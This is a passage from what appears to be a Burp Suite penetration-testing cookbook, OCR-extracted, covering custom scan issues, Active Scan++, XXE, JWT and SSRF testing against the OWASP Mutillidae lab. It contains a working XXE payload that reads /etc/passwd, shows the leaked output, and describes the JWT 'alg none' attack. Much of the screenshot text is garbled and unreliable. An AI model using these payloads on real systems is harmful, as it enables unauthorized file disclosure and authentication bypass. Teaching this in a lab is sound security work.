Enter Issue Detail...

Issue Background:

Enter lssue Background...

Remediation Background:

Enter Remediation Background...

Remediation Detail:

| Enter Remediation Detai...

URL (path = http://[domain/path):

hitp://192.168.56.101:80/mutilidae/index. php?page=home.php&poplUpNotificationCode=HPHO

Port:
80

Confidence:

| Certain vl
Severity:

High ")
Protocol:

TP M

Import Finding




6. If we flip to the HTTP Request tab, we can copy and paste into the text area
the contents of the Request tab found within the message editor, as follows:

|General HTTP Request | HTTP Response

HTTP Request:

GET /mutilidae/index. php?page=home php&popUpNotificationCode=HPHO HTTPA. 1

Host: 192.168.56.101

User-Agent: Mozila/5.0 (Windows NT 10.0: Win64: x64: rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html application/xhtml+xml application/xml.g=09,*/*q=0.8

Accept-Lanquage: en-US en:g=0.5

Accept-Encoding: gzip, deflate

Referer: http:/192.168.56.101/mutilidae/index.php?page=login.php&popUpNotificationCode=LOU1
Cookie: showhints=0; PHPSESSID=vvvérh7ueelvgrmérfbg6Siph3; acopendivids=swingset jotto, phpbb2 redmine; acgroupswithpersi
st=nada

Connection: close

Upgrade-nsecure-Requests: 1

7. 1f we flip to the HTTP Response tab, we can copy and paste into the text
area the contents of the Response tab found within the message editor.

8. Once completed, flip back to the General tab and click the Import Finding
button. You should see the newly-created scan issue added to the Issues
window, as follows:



Issues

ﬂ Cleartext submizsion of password

ﬂ Information Leakage in Server Rezponse

; Advisory T Request T Response ]

0 Information Leakage in Server Response

lzzue; Information Leakage in Server Response
Severity: High

Confidence: Certain

Host: http:/i192.168.56.101

Path: Imutillidaelindex.php

Note: This izsue was generated by a Burp extension.

Issue detail

Enter Izzsue Detail...

Remediation detail

Enter Remediation Detail...

Izsue background
Enter Izsue Background...
Remediation background

Enter Remediation Background...



How it works...

In cases where an issue is not available within the Burp core issue list, a tester
can create their own issue using the Manual-Scan Issue Extension. In this recipe,
we created an issue for Information Leakage in Server Responses.



See also

For a listing of all issue definitions identified by Burp, go
to https://portswigger.net/kb/issues.


https://portswigger.net/kb/issues

Working with the Active Scan++
Extension

Some extensions assist in finding vulnerabilities with specific payloads, such as
XML, or help to find hidden issues, such as cache poisoning and DNS rebinding.
In this recipe, we will add an active scanner extension called Active Scan++,
which assists with identifying these more specialized vulnerabilities.

Note: This plugin requires the Burp Professional edition.



Getting ready

Using the OWASP Mutillidae IT application, we will add the Active Scan++
extension, and then run an active scan against the target.



How to do it...

1. Switch to the Burp Extender | BApp Store and select the Active Scan++
extension. Click the Install button to install the extension, as follows:

Target I Proxy I Spider T Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer TExter-der | Projec

.' Extensions | BApp Store | AP | Options |

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabiltties.

Name ' Installed | Rating | Popularity | Lastupdated | Detail
NET Beautifier wUUNY —  Bdan2017
| Active Scan++ | Vv WWwwy — 045ep2018 Pro extension

2. Return to the Firefox browser and browse to the Mutillidae homepage.

3. Switch to the Burp Target tab, then the Site map tab, right-click on the
mutillidae folder, and select Actively scan this branch, as follows:



JTarget T Proxy T Spider T Scanner T Intruder T Repeater T Sequenc

[stamap ] seoe |

Fitter: Hiding out of scope and not found tems; hiding empty folders

| mutilidae
> &f | @ http://192.168.56.101/mutillidae

) _
» [ documentatig Remove from scope
5 framer.htm

» [B images Spider this branch
» [ @ includes Actively scan this branch

4. When the Active scanning wizard appears, you may leave the default
settings and click the Next button, as follows:



J

2

You have selected 204 tems for active scanning. Before confinuing, you can use the fiters below to remove certain categories of
ftems, to make your scanning more targeted and efficient

/) Remove duplicate tems (same URL and parameters) [112 temg]

|| Remove tems already scanned (same URL and parameters) [156 fems]

|| Remove tems with no parameters [57 tems]
/) Remove tems with media respanses 4+ fems|

| Remove items wih the folowing extensions [45 ems]

,0ifpg, png css

Note: Some of the selected fems do not yet have responses, I you choose to remove items with media responses, some of these
ftems may be removed from the scan when therr responses have been analyzed.

{ Cancel J [ Next J

Follow the prompts and click OK to begin the scanning process.

After the active scanner completes, browse to the Issues window. Make
note of any additional issues found by the newly-added extension. You can
always tell which ones the extension found by looking for the This issue
was generated by the Burp extension: Active Scan++ message, as follows:



Issues

TNy PASSWOTD TIER W aUT0CompietE EnanEa
Arbitrary host header accepted

_[ Advisory T Request 1 T Response 1 T ﬁequestz T Response 2 ]

Compare responses

Arbitrary host header accepted

lssue: Arbitrary host header accepted
Severity: Low

Confidence: Certain

Host: http://192.168.56.101

Path: imutillidaelindex.php

Note: This issue was generated by the Burp extension: Active Scan++.

Issue detail

The application appears to be accessible using arbitrary HTTP Host headers.

This is a serious issue if the application is not externally accessible or uses IP-based
access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall
based access restrictions that may be in place, by proxying through their target's
browser.

Mote that modern web browsers’ use of DNS pinning does not effectively prevent this
attack. The only effective mitigation is server-side:
https:/bugzilla.mozilla.org/show_bug.cgi?id=685835#c13

Additionally, it may be possible to directly bypass poorly implemented access
restrictions by sending a Host header of 'localhost’



How it works...

Burp functionality can be extended beyond core findings with the use of
extensions. In this recipe, we installed a plugin that extends the Active Scanner
functionality to assist with identifying additional issues such as Arbitrary Header
Injection, as seen in this recipe.



Implementing Advanced Topic
Attacks

In this chapter, we will cover the following recipes:

Performing XML External Entity (XXE) attacks

Working with JSON Web Token (JWT)

Using Burp Collaborator to determine Server-Side Request Forgery
(SSRF)

Testing Cross-Origin Resource Sharing (CORS)

Performing Java deserialization attacks



Introduction

This chapter covers intermediate to advanced topics such as working with JWT,
XXE, and Java deserialization attacks, and how to use Burp to assist with such
assessments. With some advanced attacks, Burp plugins provide tremendous
help in easing the task required by the tester.



Software tool requirements

In order to complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (BWA)
e OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/

Performing XXE attacks

XXE is a vulnerability that targets applications parsing XML. Attackers can
manipulate the XML input with arbitrary commands and send those commands
as external entity references within the XML structure. The XML is then
executed by a weakly-configured parser, giving the attacker the requested
resource.



Getting ready

Using the OWASP Mutillidae II XML validator page, determine whether the
application is susceptible to XXE attacks.



How to do it...

1. Navigate to the XML External Entity Injection page, that is, through Others
| XML External Entity Injection | XML Validator:



¢ ¢ ﬂ} 0 192.166.56.101/mutlioae/ ingexphp?page=1m-valdator php w@a

% OWASP Mutilidae I Web Pun in Mass Prod

Version: 2624  Security Level: 0 (Hosed)  Hints: Enabled (1 - Serfpt K1ddle) Nt

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View

owasp203 ! [

XML Validator

OWASP 2010

OWASP 2007 Back e Help Me!

Web Services

Hints
HTML5

Others Client-side "Securty" Controls ! Please Enter XML to Validate

Cross-Frame Framing (Third-party !
Framing)

Documentation <somexmi><message>Helo World</message></some

Resources Unrestricted Flle Upload

XML External Entity Injection | XML Valdator



2. While on the XML Validator page, perform the example XML that is
provided on the page. Click on the Validate XML button:

XML Validator

Back Q Help Me!

Hints

[ Please Enter XML to Validate

Example: <somexml><message>Hello World</message></somexml>

XML

| Validate XML |

XML Submitted

<somexml><message>Hello World</message></somexml>

Text Content Parsed From XML
Hello World

3. Switch to Burp Proxy| HTTP history tab and look for the request you just
submitted to validate the XML. Right-click and send the request to the



repeater:

Target | Proxy | Spider | Scanner | Intruder I Repeater T Sequencer ] Decoder ] Comparer ] Extender ] Project options T User options I Alerts TJSDN Beautifier T JSON Web Tokens ] Java
Intercept | HTTP history | WebSockets history | Options

| Fitter: Hiding CSS, image and general binary content

| # | Host | Method | URL |Para.. & |Edted |Status |Length |MMEtype |Extension | Tiie
169 http://192 168.55.101 GET Imutil page=xmi % v 200 47823 HTML php
RAN J

Request | Response
Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=xml-validator phpixml=%05%3Csomexml%3E%3Cnessaget3IEBHellotWorlds3Cs 2 Pnessaget3E33C I Fsonexnl $3E+4xml-validator-php—
HTTP/1.1
Hosc: 152.168.56.101 Send to Spider

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:El.0) Gecko/20100101 Firefox/ELl.0 Do an active scan
Accept: text/html,application/xhtml+txml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept=-Encoding: gzip, deflate Send to Intruder Crisl
Referer:

htto: //152_1E8.56.101/mutillidas/index. photnage=iml-validator . phoixml =%3C33Fimltversionti3D4221.

Do a passive scan

Send to Repeater

4. Note the value provided in the xm1 parameter:

Go Cancel AL >

Request

J Raw I Params I Headers I Hex ]

GET

Juutillidae/index_ php?page=xul-validator. phpixml=509%3Csonexnl $3E%3Cnessaget 3EHello
tWorld3Ci ZFnessaget 23R8 3C 2Fsonexnl $3Etaunl -validator-php-subnit-button=Validate+X1l
L HTTE/1.1

Host: 152.168.55.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x€4; rv:el.0) Gecko/Z0100101
Firefox/el.0

decept: text/html, application/xhtnltzml,application/zml;q=0.5,*%/*;q=0.8
Locept-Language: en-US, en;gq=0.5

Aecept-Encoding: gzip, deflate

Beferer:

http: /182,168, 56. 10L/uutillidae/index . phptpage=xml-validator. phpixml=%3C3Fmltvers
1on$3D%221 . 05228 3FE3E50D50A 09830 Z1IDOCTYPE+ehange-1og+ SES0DS 0AS 058055 3C5 ZLENTITTY
systenEntity+STETEN+E22. $2F. $2F. %2F. §ZFetcdlFpasswddZl%3E30D30A%09% D3 3E80DE0AS
09% 3Cchange-logy 3E0D5 045054 098 30cent s 3B 20systenEnt ity 3B 30 2 e b 3RS ODE 0AR09% 3C
$2Fchange-logh3BExnl -validator-php-subnit-button=Validat e+:2L

Cookie: showhints=1; PHPSESEID=deudlotk7ivglihllpedddirol;

acopendivids=swingset ,jotto,phpbhl, reduine; acgroupswithpersist=nada

Comnection: close

Tpgrade-Insecure-Requests: 1




5. Use Burp Proxy Interceptor to replace this XML parameter value with the
following payload. This new payload will make a request to a file on the
operating system that should be restricted from view, namely, the
/etc/passwd file:

<?xml version="1.0"?>
<!DOCTYPE change-log[
<!ENTITY systemEntity SYSTEM
"../../../../etc/passwd">
1>
<change-log>
<text>&systemEntity;</text>
</change-log>

Since there are odd characters and spaces in the new XML message, let's
type this payload into the Decoder section and URL-encode it before we
paste it into the xm1 parameter.

6. Switch to the Decoder section, type or paste the new payload into the text
area. Click the Encode as... button and select the URL option from the
drop-down listing. Then, copy the URL-encoded payload using Ctrl + C.
Make sure you copy all of the payload by scrolling to the right:

| Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer [ﬂecu-l:ler ]

=7xml version="1.0"7=
<ID0CTYPE change-log [
<IENTITY systemEntity SYSTEM °./. 1.1 Jetc/passwd™
=
=change-log=
<text-&systemEntity;</text>
zichange-log=

Yedcted o 6b6d%6Cc 0 20% 76%65% 7 2% T 360%6 Mubetnid% 223 1% 2e % 3022 %3
al

7. Switch to the Burp Proxy Intercept tab. Turn the interceptor on with



the Intercept is on button.

8. Return to the Firefox browser and reload the page. As the request is paused,
replace the current value of the xm1 parameter with the new URL-encoded
payload:

[ Target [ pouy | spiser | scanner | wtruser | Repester | sequencer | Decoder [ comparer | Extander | Premetoptons | useroptuns | Awnts | 150M Besussier | 150N web Tokens | Java Sersi Kaer |

s [ rrmestoy | wessoctets nstory [ optons |

|#| Request to ntpinsz 168 56.101:60

Forward Orop Wierceptison | Acton

TV OANOEN JCh SN A4V A TN AT LAV EEN SOV ARV OVE SNEDTE LN E RV E TV ESN CAVECVE 1B TNC 08 SRR Das OoY
SEVZENTeNIENESITAVEIN IOV TOVELN TINTINTTHEANITY 3
JcATEVEIVEDNELN GV ETVESISAVECHEEVETS Je0 0 l-validator-php-submit-button=Validat e 3HL

ndex. php page-Zal-vALLldAL ol PRPARRL-RICHIEN TVIEVEE =Y TVEet JAN SV IIN S eV J0NST)
SMIOTINTNTINTAE TAVEIVTANTIN ZOVIINZerTerIENIeND
SN0 I TAVESI TV T4 Bt SEN TN IO T IR TN ESN GV SN Gt TANETH T4 TFN TN Jch T £

AESA TN 740 Jed 0a

£1.0} Cecko/Z0L00101 Pirefox/E1.0
1:gq=0.5, */*:qe0.B

nder. phpTpagesral-validator. phpixel=dddirel-validator-php-subsic-buctonsValidat e )00
=1; PHFSESSID=deudiotkTivgZihilped4Sirel; acopendivids=swingses,)otto,phpbbs,redmine; acgroupswithpersiste=nada

9. Click the Forward button. Turn interceptor off by toggling the button to
Intercept is off.
10. Note that the returned XML now shows the contents of the /etc/passwd
file! The XML parser granted us access to the /etc/passwd file on the
operating system:



Hints

Please Enter XML to Validate

Example: <somexml><message>Hello World</message></somexml>

XML

Validate XML

XML Submitted

<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../..
[etc/passwd"> 1> <change-log> <text>&systemEntity,;</text> </change-log>

Text Content Parsed From XML

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x.3:3:sys:/dev:/bin/sh sync:x:4:69534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33.www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ired:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/nome/klog:/bin/false
mysql:x:103:105:MySQL Server,, :/var/lio/mysql:/bin/false landscape:x:104:122::var/lib/landscape:
/binffalse sshd:x:105:65534:/var/run/sshd:/usr/sbin/nologin postgres:x:106:109:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bash messagebus:x:107:114::/var/run/dbus:/bin/false
tomcat6:x:108:115::/usr/share/tomcat6:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash
polkituser:x:109:118:PolicyKit,,,:./var/run/PolicyKit:/bin/false haldaemon:x:110:119:Hardware abstraction
layer, ,:/var/run/hald:/bin/false pulse:x:111:120:PulseAudio daemon,,:/var/run/pulse:/bin/false
postfix:x:112:123::Ivar/spool/postfix:/bin/false



How it works...

In this recipe, the insecure XML parser receives the request within the XML for
the /etc/passwd file residing on the server. Since there is no validation
performed on the XML request due to a weakly-configured parser, the resource
is freely provided to the attacker.



Working with JWT

As more sites provide client API access, JWT are commonly used for
authentication. These tokens hold identity and claims information tied to the
resources the user is granted access to on the target site. Web-penetration testers
need to read these tokens and determine their strength. Fortunately, there are
some handy plugins that make working with JWT tokens inside of Burp much
easier. We will learn about these plugins in this recipe.



Getting ready

In this recipe, we need to generate JWT tokens. Therefore, we will use the
OneLogin software to assist with this task. In order to complete this recipe,
browse to the OneLogin website: https://www.onelogin.com/. Click the
Developers link at the top and then click the GET A DEVELOPER ACCOUNT

link (https://www.onelogin.com/developer-signup).

After you sign up, you will be asked to verify your account and create a
password. Please perform these account setup tasks prior to starting this recipe.

Using the OneLogin SSO account, we will use two Burp extensions to examine
the JWT tokens assigned as authentication by the site.


https://www.onelogin.com/
https://www.onelogin.com/developer-signup

How to do it...

1. Switch to Burp BApp Store and install two plugins—JSON Beautifier and
JSON Web Tokens:

[Target T Proxy T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer | Extender | Project

Extensions | BApp Store | APls T Options 1

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilties.

Name | Installed | Rating | Popularity | Last updated | Detail |
UG S ST R T ST e ez T
Java Serial Killer WWWwWwir 1 30 Jan 2017 :
Java Serialized Payloads yhgiggitgh i 06 Feb 2017
JCryption Handler 14 Jul 2017
[JSON Beautifier v 03 Oct 2017 |
JSON Decoder 24 Jan 2017
JSON Web Token Attacker 22 Nov 2017
[USON web Tokens N 03 Mav 2018

2. In the Firefox browser, go to your OneLogin page. The URL will be
specific to the developer account you created. Log in to the account using
the credentials you established when you set up the account before
beginning this recipe:



N

¢ o 08 https.//sunshine-solutions-lic-ciev.onelogin.com/login2/ w @ NG

onelogin

Username

Continue

Forgot Password

3. Switch to the Burp Proxy | HTTP history tab. Find the POST request with
the URL /access/auth. Right-click and click the Send to Repeater option.
4. Your host value will be specific to the OneL.ogin account you set up:



.m. Scamer | biruder mmu|smw Decoder | Comparer | Extender | Proectoptons | User optons . SO Beautfer | JSON Web Tokens

Fiter; Hiding 55, image and general binary content

oA |Hwl | ethod | URL (Pams | Edled | Siwhs | Lengh |MMENps |Exenson |The | Comment
14 1056 J50N

1

st Repore |

‘Ml Headers TH&: TiSBHﬂmﬁm ]MH'MTM l

HTTR/1.1 200 OK

Cache=Control: mag=ageeD, private, must=revalidate :

Content-Type: application/ison; charset=ugi-g .

Date: Fri, L4 Sep 2018 10:38:10 cHT Do &n activé 3¢an

BTag: ¥/"5c12359abeZebTb77c5321c05b1e0763" Do passhe scan

K-Content-Type-(ptions; nosniff

MeCorrelation=Id: B4Z0cfBa=B13b=d1Ea=090e=e29000072bdd Send (i
K-Frane-Options: SAMBORIGIN Send to Repeater

5. Switch to the Repeater tab and notice that you have two additional tabs
relating to the two extensions you installed:



Target ] Proxy I Spider ] Scanner I Intruder LM,J Sequencer I Decoder I Comparer I Extender I

1 x J2x [3x]ax]sx]6x [amls x]ox].]

Gn| Cancel {'l}'.

Request

| Raw | porams | Headers | Hex | JSON Beautifr | JSON web Tokens |

POST faccess/auth HITP/1.1

Host: sunshine-solutions-llec-dev.onelogin. com

User=Agent: Mozilla/5.0 (Vindows HT 10.0; Wingd; x&4; rv:El.0) Gecko/Z0100101
Firefox/el.0

Accept: application/json

Aecepr-Langquage: en-US,en;gq=0.5

Accept-Encoding: gzip, deflace

Beferer:

https: //sunshine-solutions=lle=dev. onelogin. com/login’/?Treturn=eyJhbGeidiJIUzI1NiIsI
nRScCIEIkpAVEIS. eyJhdWli0iJBQONFULHALCIpe3Mi0AJNTOSPURFITCIsInVyas 16 Iuh0dHEZ01i8ve 3V
uelhpbnlte29sd¥Bpb 2 ialWe s Ty 12X Tub 251 bGSnal4uY 25t L2 xvwZ 2 lul iwibWV0aGSk 1§01 22V0Tiwi Z2X
hwljoxNTHZOTESND QwLCJwiKIhbiMione S £0. VGChFUh3yjgZTChpqeYhEBSKSVGOCGIVZOYp4MEVInzg
content-type: application/json

origin: https://sunshine-solutions-lle-dev.onelogin. con

Content-Length: Z80

Cookie:

sub_session onelogin. com=BAWTByI fTndvdiNlel 922K Ipin] jYXRpblsfdGorZW4iRTI4ZDYY i T2 NnE
VZIFINDln0WHLTWUzOWY XM T 52Dk yZWUOY zhmMWE SHCNhE T EmllzU30DJk ODE4ANZ §3MzMxND 16D 301 c3lph
BEaWQiKWIZMTASOGISLTIhEJACHD 3Ny LhMTALLTI4YJEOYeFi0TdkZgt 3D 3D--5fheS4ch £d79¢ce055ch
E3cE2£08198a17f98eefbd; _ tdli=dBlaelle-Secf-48E£-ad9£-83910d6d4754;

__tdli fp=e7cV5clBff4d40d5351 aa%5dcasbicd;

onelogin. con_u5er=EhE.TUJ_DEEb5Eeeee faflc22fEacBed21dd58d8he;
subdomain=gunghine-golutiong=-lle-dev; ga=CGAl_ Z.351109700.1536815271;
_gid=GAl.Z2.1676526488. 1536515271,

np 46875501dZ46bESZebE£c40122B1Tc 7]l _mixpanel=%7B% 2 distinct id¥ZZ%3A%Z0%I2134384%2C
$2CY 22 company® 22 3AY 208 225unshine ¥ 2050 lut ions¥ 2CY 20LLCY 228 20 220tp required¥ 2293482
D% -falsed22%2C 2% 24initial_referrers i 3A%0%Cheepsi3AS FilFsunshine-solutions-1
le-dev.onelogin. conZ2Flogin2% 2F¢ 3Freturnt 3DeyIhbGeididIU=IINiIsInRScCIEIkpHVC IS . eyd
hdWQiCiJBQONFULMLILCIpe3Hi0iJNTOSPURFJTCI s InVyaSI & Inh0dHBz0i8ve3Vue Zhpballc 29 dXRph 2
SzlWxsYylkZXTublSslbGoSnaWiuyYI5cLlylsInlldGhvICIeIndldCIsInV4cCIENTUzN kx0T IzNywicGFyY
WlzIjp7LX0. fUs(HOnS4pENags aVeGEHEVHAK Tnnd0CgfoCGp0dwlsZZ82C422%24initial referring
_domain%22%3A%20% 22sunshine-solutions=lle=-dev. onelogin. com¥22% 7D

Comnection: close

{"return": "eyJhbGeiliJIVzIINiIsInRScCIETkpXVCIS. eyThdW]i0iJBQONFUINILCIpe3Mi0iINTOSP
UkFITCIsInVyaSIE Inh0dHBz01i8ve3Vuce Zhpbult c29sdXBph 2 Szl s Ty L ZXVub 25 1bGonaV4uy 29t Lox
vZ2luliwibWV0aG8kI30iZ2V0TiwiZ)hwljoxNTH20TESND QwL CIwYKIhbXMiOnt 8 £Q. VChFWh3yi g2 TCkp
qeYhEB5XSVGOCGIVZOYp4MEVInzg"” )



6. Click the JSON Beautifier tab to view the JSON structure in a more
readable manner:

Go | Cancel < v > v |

Request

[RawIparamIHeadersIHex JSON Beauifier | JSON Web Tokens

{

"return":
"eyJhbGeiliJIUzIINiIsInRSeCIEIkpXVCIS. ey JhdWQi0iJBQONFULMLILCJpe3Mi0iJNTOSPURFITCISIn
VyaS16Inh0dHBz01Bve3Vuc Zhpbult o2 9sdXBph 2 5z LWz s Ty Lk ZXTub 251 b G9nal4u¥ 29 L2xvEZ lulivib
W0aGikIjoiZV0IliwviZxhwljoxNTHZOTESHD QwLCIwikdhbelint S £0. VEhFWh3y gl TCkpge ThES SXEV
GOCGIVZOTp4MiVInzg"
}

7. Click the JSON Web Tokens tab to reveal a debugger very similar to the
one available at https://jwt.io. This plugin allows you to read the claims
content and manipulate the encryption algorithm for various brute-force
tests. For example, in the following screenshot, notice how you can change
the algorithm to nOnE in order to attempt to create a new JWT token to
place into the request:


https://jwt.io

(o] (e (<) 31)

Request

[Raw[ﬁarm[ﬂm[uex]mnmuﬁﬁerw

Headers = | ® Do not automatically modify signature

A
| &
ralg™ o TRS2a8T, Recalculate Signature
"EETIJ” H "J[LTT";
ijkﬂ‘ : {
”kt—?‘” : HP.S‘D‘H’{
"id" + "juwtdblportswif | Secret/Key for Signature recalculation:
"U.SE" 2 ":31[1";
lfn” . PFAQABPIF

we® 1 "ALJQ119lUZsBvVALIL

) Keep original signature

~) Sign with random key pair

Payload = {
"sud® : "ACCESS"™,
"igs" : "MONORAIL",
"furi" : "https://sunshing | AlgNone Attack:

"method”™ : "get",

Alg: nOnE
"exp” : 1536919440,
"params” : { ) ] CVE-2018-0114 Attack
} [exp] Expired check failed - Fri Sep 14 10:04:00 UTC 2018

Signature = "YczZT7CrhOiLChly
= <l [wmmmwmwmnmm




How it works...

Two extensions, JSON Beautifier and JSON Web Tokens, help testers to work
with JWT tokens in an easier way by providing debugger tools conveniently
available with the Burp UL



Using Burp Collaborator to
determine SSRF

SSREF is a vulnerability that allows an attacker to force applications to make
unauthorized requests on the attacker's behalf. These requests can be as simple
as DNS queries or as maniacal as commands from an attacker-controlled server.

In this recipe, we will use Burp Collaborator to check open ports available for
SSREF requests, and then use Intruder to determine whether the application will
perform DNS queries to the public Burp Collaborator server through an SSRF
vulnerability.



Getting ready

Using the OWASP Mutillidae IT DNS lookup page, let's determine whether the
application has an SSRF vulnerability.



How to do it...

1. Switch to the Burp Project options | Misc tab. Note the Burp Collaborator
Server section. You have options available for using a private Burp
Collaborator server, which you would set up, or you may use the publicly
internet-accessible one made available by PortSwigger. For this recipe, we
will use the public one:



e [ [ [ s [t s [ [t crpee [ oo

'Cunnacﬁuﬂm]m[smmam

bt

@ Scheduled Tasks

ng These settings let you specify tasks that Burp will perform automatically at defined times or intervals.

Add

.

Time \ Repeat \ Task

e

Edit

{[s

Burp Collaborator Server

-u!

u Burp Collaborator is an external service that Burp can use to help discover many kinds of vulnerabilities. You can use the
option is most appropriate for you.

(® Use the default Colaborator server
(U Don't use Burp Colaborator
O Usea private Collaborator server;

Server location:

Polling location (optional):
(] Poll over unencrypted HTTP

[Runnummeck..."

2. Check the box labeled Poll over unencrypted HTTP and click the Run



health check... button:

| 7'| Burp Collaborator Server

@ Burp Collaborator is an external service
option is most appropriate for you.

(#) Use the default Collaborator server
(U Don't use Burp Collaborator

(_) Use a private Collaborator server:

Server location:

P

Polling location (optional):

(] Poll over unencrypted HTTP

{ Run health check ... J

3. A pop-up box appears to test various protocols to see whether they will
connect to the public Burp Collaborator server available on the internet.

4. Check the messages for each protocol to see which are successful. Click the
Close button when you are done:



Burp Collaborator Health Check - O X

Burp Collaborator Health Check

Intiating health check

server address resolution Success
server HTTP connection Success
server HTTPS connection (trust enforced) Success
server HTTPS connection (trust not enforced) Success
=erver SMTP connection on port 25 Success
server SMTP connection on port 587 Success
=erver SMTPS connection (trust enforced) SUCcess
server SMTPS connection (trust not enforced) Success
Polling server address resolution Success
Poling server connection Success
Verify DNS interaction SUCcess
Verify HTTP interaction Success
Verify HTTPS interaction Success
Verify SMTP interaction Success
Verify SMTPS interaction Success
SEVer version Success

Al tests were successful.

| chse |

5. From the top-level menu, select Burp | Burp Collaborator client:



=lilgel Intruder Repeater Window Help

Zearch

Save copy of project
Import project [disk projects only]

Rename project

Project options »
User options >
Passwords >

Burp Infitrator
Burp Clickbandit

Burp Collaborator client

Save legacy state file
Restore legacy state file

Exit

6. A pop-up box appears. In the section labeled Generate Collaborator
payloads, change the 1 to 10:



EJ Chck “Copy to clipboard” to generate Burp Colaborator payloads thal you can use in your own testing, Any interactions that resu from using ihe payloads will appear below

Generate Collaborator payloads

Number to generate; II Copy lo cipboard || [ hclude Collborator server location

Pall Collaborator interactions

Poll every Iﬁﬂ | seconds | Poll now

# A Tine Type | Payiad | Conment

e

7. Click the Copy to clipboard button. Leave all other defaults as they are. Do
not close the Collaborator client window. If you close the window, you will
lose the client session:

Burp Collaborator client

EJ Click "Copy to clipboard” to generate Burp Collaborator payloads that you can use in your own testing.

Generate Collaborator payloads

Number to generate: | 10 l Copy to clipboard J & Include Collaborator server location

Poll Collaborator interactions

e 1

Poll every |60 seconds | Poll now |



8. Return to the Firefox browser and navigate to OWASP 2013 | A1 —
Injection (Other) | HTML Injection (HTMLi) | DNS Lookup:

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1idd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)

Al - Injection (Other) P | HTML Injection (HTMLI) » Add to your blog

OWASP 2010
A2 - Broken Authentication and » HTMLI via HTTP Headers » Browser Info
OWASP 2007 Session Management

HTMLI Via DOM Injection » DNS Lookup

9. On the DNS Lookup page, type an IP address and click the Lookup DNS
button:

[ DNS Lookup ]

ﬁ Back q Help Me!
3 L

Hints

f_‘.\_
A‘Ax Switch to SOAP Web Service Version of this Page

Who would you like to do a DNS lookup on?

Enter IP or hosthame

Hostname/IP [192.168.56.101

[ Lookup DNS ]

10. Switch to the Burp Proxy | HTTP history tab and find the request you just
created on the DNS Lookup page. Right-click and select the Send to
Intruder option:



Bum Kiruder Repester Window Hep

Targel [ Prowy lSpiier ] Scamngr I Itruder [ Renester ISequencer ] Decoder I Comparer [Eﬂem IFropdupIm ] Uer options IAhrts IJSOHMfﬁ [JSUH Ve Tokens [_
M HTTR htiry ] ViebSackets sty M‘nns }

Fiter. Showing l s

foh et (R P A iR S Lo WEe Bt T
MRS RS neieobhoemobal M @0 ML gy

Rl

q
Raw l Params | Headrs | He

B08T fuueillidae/index. phy?page=dns-lockup. php HTTR/L.1

Host: 192.168. 5. 101

User-Agent: Mosilla/5.0 (Vindows NT 10.0; Vingd; x64; rv.cl.0) Gecko/20100101 Firefox/l.0 ,
hecept: text/henl, application/shtultsnl, application/ul;q=0.9,*/*;¢=0.0 sedl Sy
hecept=Language: en=U5,en;qe0. 8 (0 80 acive scan
hecapt=Bncoding: galp, deflate

(o A pasaie scan
Refarar: heep: //092. 16056, J0L/med L1 da/ tndax. phip?pagendng=Laokup. php :
Contant=Type: applicitdon/s-weforneutbincodsd sl N
Content=lingth: €6 Send o Reptate (¥R
Cookie: shovhincsel; PHPSESSIDndeudtothtvqlihlipedddieel; acopendividsmsuingsat, joteo phobbs ¥ Sl et
Connection: elose
Upgrade-Insscure-Requasts: | S Conpas
Send o Decoder

11. Switch to the Burp Intruder | Positions tab. Clear all suggested payload
markers and highlight the IP address, click the Add § button to place
payload markers around the IP address value of the target_host parameter:



[ Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | Useroptions | Alerts | JSON Beautifier | JSON web’

[ Jenl]

Target | Positions I Payloads I Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are i to payload iti - see help for full

Attack type: | Sniper

POST /mutillidae/index.php?page=dns-loockup.php HITP/1.1

Host: 152.16B.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:E61.0) Gecko/20100101 Firefox/E1.0
Accept: text/html,application/xhtmltxml, application/xml; q=0.%,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

